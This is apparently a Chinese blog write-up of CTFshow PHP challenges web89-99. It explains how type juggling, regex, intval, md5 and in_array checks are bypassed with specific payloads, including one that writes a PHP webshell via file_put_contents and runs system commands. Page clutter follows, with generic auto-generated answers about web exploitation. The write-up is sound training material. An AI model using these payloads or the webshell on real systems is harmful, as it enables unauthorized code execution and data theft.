CTFshow-PHP特性89-90

web89

image.png
if(isset($_GET['num'])){<br /> $num = $_GET['num'];<br /> if(preg_match("/[0-9]/", $num)){ //正则匹配参数不能为0-9<br /> die("no no no!");<br /> }<br /> if(intval($num)){ //返回num参数的值是,整数型<br /> echo $flag;<br /> }<br />}


preg_match只能处理字符串,当传入的subject是数组时会返回false
可以看到这里二者条件相互矛盾,因此可以利用preg_match无法利用数组的漏洞解题
?num[]=1


image.png

web90

include("flag.php");<br />highlight_file(__FILE__);<br />if(isset($_GET['num'])){<br /> $num = $_GET['num'];<br /> if($num==="4476"){<br /> die("no no no!");<br /> }<br /> if(intval($num,0)===4476){<br /> echo $flag;<br /> }else{<br /> echo intval($num,0);<br /> }<br />}
第一个弱比较,num===4476,
第二个弱比较,num参数的返回值是整数
因为是弱比较,num=4476,这里是int型可以绕过


intval() 函数用于获取变量的整数值。intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。


如果 base 是 0,通过检测 var 的格式来决定使用的进制:

  • 如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则,
  • 如果字符串以 “0” 开始,使用 8 进制(octal);否则,
  • 将使用 10 进制 (decimal)。


也就是base=0,则$var中存在字母的话与大盘字母停止
1、小数点 4476.0
2、正负号 +4476
3、科学计数法 4476e
4、16进制:0X?? 0x117c
5、8进制:0?? 010574,(8进制加空格:‘ 010574’)


image.png


web91


show_source(__FILE__);<br />include('flag.php');<br />$a=$_GET['cmd'];<br />if(preg_match('/^php$/im', $a)){<br /> if(preg_match('/^php$/i', $a)){<br /> echo 'hacker';<br /> }<br /> else{<br /> echo $flag;<br /> }<br />}<br />else{<br /> echo 'nonononono';<br />}
对于正则表达式,我们来看一下
image.png


这里还有一些大佬们总结的常用的修饰符的作用

**i **
不区分(ignore)大小写

m
多(more)行匹配
若存在换行\n并且有开始^或结束$符的情况下,
将以换行为分隔符,逐行进行匹配
$str = “abc\nabc”;
p r e g = " / a b c preg = "/^abc preg="/abc/m";
preg_match($preg, s t r , str, str,matchs);
这样其实是符合正则表达式的,因为匹配的时候 先是匹配换行符前面的,接着匹配换行符后面的,两个都是abc所以可以通过正则表达式。

s
特殊字符圆点 . 中包含换行符
默认的圆点 . 是匹配除换行符 \n 之外的任何单字符,加上s之后, .包含换行符
$str = “abggab\nacbs”;
p r e g = " / b . / s " ; p r e g m a t c h a l l ( preg = "/b./s"; preg_match_all( preg="/b./s";pregmatchall(preg, s t r , str, str,matchs);
这样匹配到的有三个 bg b\n bs

g
全局匹配,查找所有匹配项

A
强制从目标字符串开头匹配;

D
如果使用$限制结尾字符,则不允许结尾有换行;

e
配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行;


if(preg_match('/^php$/im', $a)){ //多行匹配php,也就是换行后匹配到php,换行前没有php
if(preg_match('/^php$/i', $a)){ //单行匹配到php
也就是参数中需要在换行前不能有php字样
构造payload:?cmd=123%0aphp //%0a是换行符
image.png


web92

include("flag.php");<br />highlight_file(__FILE__);<br />if(isset($_GET['num'])){<br /> $num = $_GET['num'];<br /> if($num==4476){<br /> die("no no no!");<br /> }<br /> if(intval($num,0)==4476){<br /> echo $flag;<br /> }else{<br /> echo intval($num,0);<br /> }<br />}

if($num==4476){ //因为``是弱比较,4476a相当于4476无法绕过
可以使用小数点,8进制,16进制
https://blog.csdn.net/EC_Carrot/article/details/109525162
这里引用大佬的另一种思路
e,这个字母比较特殊,在PHP中会被当作科学计数法。这是PHP在处理字符串时的一个缺陷
4476e123,这是科学计数法相当于:4476×10^123
intval()函数处理时遇到字符停止,就只读取4476而不是4476e123,进行绕过
image.png




web93


`include("flag.php");highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}`
这一题较上一题就是多了个`preg_match("/[a-z]/i", $num)`
匹配参数中是否含有a-z的字符串,可以使用小数点或者八进制进行绕过
`?num=4476.1/010574`

web94


`include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}`

这一题比上一题多了一个`(!strpos($num, "0"))`
这个函数之前遇到了
strpos()函数返回匹配的字符位置,默认从0开始
如果函数检测参数第一位为0则false就停止本函数,但是这里`!使绕过相反需要参数第一位不可以是0`

可以使用空格`%20`/换行符`%0a`+进制转换
`1、%20010574`
`2、%0a010574`
`3、直接加空格 ‘ 010574’`
我看别人还有一种解法:`4476.0`
![image.png](https://img-blog.csdnimg.cn/img_convert/cfa33883ac45027500ab5fd23452b4b2.png#height=47&id=qpUWb&margin=[object Object]&name=image.png&originHeight=93&originWidth=642&originalType=binary&ratio=1&size=7790&status=done&style=none&width=321)

web95

![image.png](https://img-blog.csdnimg.cn/img_convert/f03fee2fbb0aec40728495302af8e26b.png#height=217&id=CKLqW&margin=[object Object]&name=image.png&originHeight=434&originWidth=792&originalType=binary&ratio=1&size=40803&status=done&style=none&width=396)


本题与94差不多,不过是这一题过滤了小数点


web96

highlight_file(__FILE__);<br />if(isset($_GET['u'])){<br /> if($_GET['u']=='flag.php'){/参数不能直接设置是flag.php<br /> die("no no no");<br /> }else{<br /> highlight_file($_GET['u']);//构造路径显示
` }

payload:<br />1、?u=./flag<br />2、?u=/var/www/html/flag.php //绝对路径<br />还有一种利用filter:伪协议:?u=php://filter/resource=flag.php`
image.png


web97


`include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b']) //post类型,参数a!=b
if (md5($_POST['a']) === md5($_POST['b'])) //md5处理后的值相等
echo $flag;
else
print 'Wrong.';
}
?>`

可以看到需要使,a和b的参数内容不相同,并且md5处于后的值的相等的
因为`if (md5($_POST['a']) === md5($_POST['b'])) 是强比较`
在弱比较中`0e开头的会被识别成科学计数法,结果均为0,比较时``0=0``为true绕过`
而在强比较中方法就失效了,但是如果传入的不是字符串而是数组,不但md5()函数不会报错,结果还会返回null,在强比较里面`null=null`为true绕过
因此在强比较中0e开头的md5加密数组就失效了
**MD5()函数无法处理数组,如果传入的为数组,会返回NULL**,所以两个数组经过加密后得到的都是NULL,也就是相等的。
payload:`a[]=1&b[]=2`

web98


include("flag.php");
$_GET?$_GET=&$_POST:'flag';//如果有GET方法传参则将GET方法转变为POST方法
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);//如果GET方法'HTTP_FLAG'传参的值是flag则读取flag的内容否则读取$flag:__FILE__
?>
这里考察到了三目运算符的作用
最后一行告诉了我们答案,至于中间的部分可有可无
payload:同时传入参数
`get:?HTTP_FLAG=flag`
`post: HTTP_FLAG=flag`

web99


highlight_file(__FILE__);$allow = array();
for ($i=36; $i < 0x36d; $i++) { //for循环
array_push($allow, rand(1,$i)); //每循环一次,在&allow中增加一个随机数
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){ //查找传入的参数n是否在$allow中存在
file_put_contents($_GET['n'], $_POST['content']);//file_put_contents() 函数把一个字符串写入文件中。文件不存在就创建

?>

in_array()函数

in_array() 函数搜索数组中是否存在指定的值。
image.png

说明

如果给定的值 search 存在于数组 array 中则返回 true。如果第三个参数设置为 true,函数只有在元素存在于数组中且数据类型与给定值相同时才返回 true。
如果没有在数组中找到参数,函数返回 false。


即in_array数组存在函数有缺陷,若没有设置第三个参数,则存在强制转换(类比==
image.png




也就是在in_array()中n=1.php就会转化成n=1,此外通过file_put_contents()创建一个文件写入php代码
payload:
get:?n=1.php
post:content=<?php system("ls");?>
image.png


最后
1=system('cat flag36d.php')

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: ctfshow-web-web红包题是一道CTF比赛中的网络安全题目。这道题目的背景是一个在线购物网站,要求我们通过安全漏洞来获得网站的红包。 首先,我们可以检查网站的源代码,寻找可能存在的漏洞。在网站的前端页面中,我们注意到了一个提交订单的功能,并且发现了其中一个参数可以被用户任意修改。这可能导致一个被称为SQL注入的漏洞。 我们试图通过在参数中插入恶意代码来进行SQL注入攻击。我们发现当我们输入`' or 1=1 -- `时,查询结果会返回所有订单记录,而不仅仅是当前用户的订单。这表明成功利用了SQL注入漏洞。 接下来,我们要尝试进一步利用这个漏洞来获取网站的红包。我们可以通过构建特制的SQL语句来绕过登录过程,直接获取红包的信息。 最终,我们成功地利用了网站存在的漏洞,获取到了红包的相关信息。这个过程展示了在网络安全竞赛中,如何通过分析代码和利用漏洞来实现攻击的目标。 在这个过程中,我们需要具备对SQL注入漏洞的理解和掌握,并且需要有一定的编程和网络安全知识。通过解决这样的题目,我们可以提高我们对网络安全攻防的认识和技能,以更好地保护网络安全。 ### 回答2: ctfshow-web-web红包题是一个CTF(Capture the Flag)比赛中的Web题目,目标是通过分析Web应用程序的漏洞来获取红包。CTF比赛是一种网络安全竞赛,在这种比赛中,参赛者需要通过解决各种不同类型的安全挑战来积分。 该题目中的Web应用程序可能存在一些漏洞,我们需要通过分析源代码、网络请求和服务器响应等信息来找到红包的位置和获取红包的方法。 首先,我们可以查看网页源代码,寻找可能的注入点、敏感信息或其他漏洞。同时,我们还可以使用开发者工具中的网络分析功能来查看浏览器和服务器之间的通信内容,找到可能存在的漏洞、密钥或其他敏感信息。 其次,我们可以进行输入测试,尝试不同的输入来检查是否存在注入漏洞、文件包含漏洞、路径遍历漏洞等。通过测试和观察响应结果,我们可以得到一些重要的信息和线索。 最后,我们可以分析服务器响应和错误信息,查找可能存在的网站配置错误、逻辑漏洞或其它任何可以利用的安全问题。此外,我们还可以使用常见的Web漏洞扫描工具,如Burp Suite、OWASP ZAP等,来辅助我们发现潜在的漏洞。 通过以上的分析和测试,我们有可能找到获取红包的方法。然而,具体的解题方法还需要根据题目中的具体情况来确定。在CTF比赛中,每个题目的设置都可能不同,解题的方法和思路也会有所差异。因此,在解题过程中,要保持敏锐的观察力和灵活的思维,尝试不同的方法和技巧,才能成功获取红包并完成任务。 ### 回答3: ctfshow-web-web红包题是一个CTF比赛中的网络题目,其目标是寻找并利用网页内的漏洞,获取红包。 首先,我们需要分析该网页的源代码,寻找可能存在的漏洞。可以通过审查元素、浏览器开发者工具等方式进行源代码分析。 其中,可能存在的漏洞包括但不限于: 1. 文件路径遍历漏洞:通过对URL的参数进行修改,尝试访问其他目录中的文件。 2. XSS漏洞:通过在用户输入的地方注入恶意代码,实现攻击者想要的操作。 3. SQL注入漏洞:通过修改数据库查询参数,获取未授权的数据。 4. 文件上传漏洞:上传恶意文件并执行。 一旦发现漏洞,我们需要进一步利用它们来获取红包。例如,如果存在文件路径遍历漏洞,我们可以尝试通过修改URL参数的方式,访问网站服务器上存放红包的文件目录,获取目录中的文件。 如果存在XSS漏洞,我们可以尝试在用户输入的地方注入一段JavaScript代码,以获取网页中的敏感信息或执行一些恶意操作,如窃取cookies。 如果存在SQL注入漏洞,我们可以尝试通过修改数据库查询参数,获取未授权的数据,如红包的具体位置或密码。 如果存在文件上传漏洞,我们可以尝试上传一个特殊设计的恶意文件,以执行任意命令或获取服务器上的文件。 综上所述,ctfshow-web-web红包题需要我们深入分析网页代码,发现可能存在的漏洞,并利用这些漏洞获取红包。这个过程需要我们对常见的漏洞类型有一定的了解,并具备相关的漏洞利用技术。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值